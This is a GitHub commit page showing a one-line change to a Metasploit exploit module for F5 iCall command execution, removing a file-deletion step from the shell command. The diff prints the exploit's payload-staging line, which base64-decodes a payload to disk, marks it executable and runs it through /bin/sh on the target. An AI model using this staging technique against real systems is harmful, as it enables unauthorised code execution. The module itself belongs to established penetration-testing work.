Skip to content

Commit dcfb3b5

Browse files
committed
Let Filedropper handle removal
1 parent 715f20c commit dcfb3b5

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -235,7 +235,7 @@ def exploit
235235
# phase 1: create iCall script to create file with payload, execute it and remove it.
236236
register_file_for_cleanup @payload_path
237237

238-
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path};rm -f #{@payload_path})
238+
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
239239
cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"})
240240

241241
arg_max = datastore['ARG_MAX']

0 commit comments

Comments
 (0)